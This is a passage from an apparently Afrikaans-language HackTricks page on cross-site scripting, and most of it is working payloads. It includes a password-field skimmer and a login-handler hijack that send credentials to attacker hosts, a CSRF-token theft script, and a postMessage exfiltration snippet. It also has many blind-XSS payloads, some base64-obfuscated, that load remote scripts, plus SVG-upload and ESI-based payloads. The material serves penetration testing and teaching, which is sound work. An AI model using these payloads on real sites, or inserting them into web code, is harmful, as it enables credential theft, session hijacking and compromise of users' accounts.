<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Indien 'n kritieke handler (e.g., function DoLogin(){...}) later op die bladsy gedefinieer word, en jou payload vroeër loop (e.g., via an inline JS-in-JS sink), definieer eers 'n const met dieselfde naam om die handler te preëmpt en te vergrendel. Later funksie-deklarasies kan nie 'n const-naam herbind nie, wat jou hook in beheer laat:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Aantekeninge

  • Dit berus op uitvoeringsorde: jou injection moet uitgevoer word voordat die regmatige verklaring.
  • Indien jou payload in eval(...) toegedraai is, sal const/let bindings nie globals word nie. Gebruik die dinamiese <script> injection-tegniek uit die afdeling “Deliverable payloads with eval(atob()) and scope nuances” om 'n werklike globale, nie-herbindbare binding te verseker.
  • Wanneer sleutelwoordfiltreerders kode blokkeer, kombineer dit met Unicode-escaped identifiers of eval(atob('...')) aflewering, soos hierbo getoon.

Keylogger

Net deur op github te soek het ek 'n paar verskillende gevind:

Diefstal van CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Diefstal van PostMessage-boodskappe

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Misbruik van Service Workers

Abusing Service Workers

Toegang tot Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Jy kan ook gebruik maak van: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Toegang tot Verborge Inhoud

Uit this writeup is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS attributes in verskillende objects te vind. Byvoorbeeld, 'n input van 'n REGEX kan steeds gevind word nadat die waarde van die input van die regex verwyder is:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Lys

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS wat ander kwesbaarhede misbruik

XSS in Markdown

Kan jy Markdown-kode inspuit wat gerender sal word? Miskien kan jy XSS kry! Kyk:

XSS in Markdown

XSS na SSRF

Het jy XSS op 'n site wat caching gebruik? Probeer dit opgradeer na SSRF deur Edge Side Include Injection met hierdie payload:

python
<esi:include src="http://yoursite.com/capture" />

Gebruik dit om cookie restrictions, XSS filters en veel meer te omseil!
More information about this technique here: XSLT.

XSS in dinamies gegenereerde PDF

As 'n webbladsy 'n PDF skep met user controlled input, kan jy probeer om die bot wat die PDF skep te mislei om willekeurige JS code uit te voer.
Dus, as die PDF creator bot sekere HTML tags vind, sal dit hulle interpreteer, en jy kan hierdie gedrag misbruik om 'n Server XSS te veroorsaak.

Server Side XSS (Dynamic PDF)

As jy nie HTML tags kan injekteer nie, kan dit die moeite werd wees om te probeer om PDF data te injekteer:

PDF Injection

XSS in Amp4Email

AMP, gerig op die versnelling van webbladprestasie op mobiele toestelle, sluit HTML tags in wat met JavaScript aangevul word om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via AMP components.

Die AMP for Email formaat brei sekere AMP-komponente uit na e-pos, en stel ontvangers in staat om direk binne hul e-posse met inhoud te interageer.

Example writeup XSS in Amp4Email in Gmail.

XSS deur lêers op te laai (svg)

Laai 'n lêer as 'n beeld op soos die volgende een (van http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Vind meer SVG payloads in https://github.com/allanlw/svg-cheatsheet

Verskeie JS Wenke & Relevante Inligting

Misc JS Tricks & Relevant Info

XSS hulpbronne

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks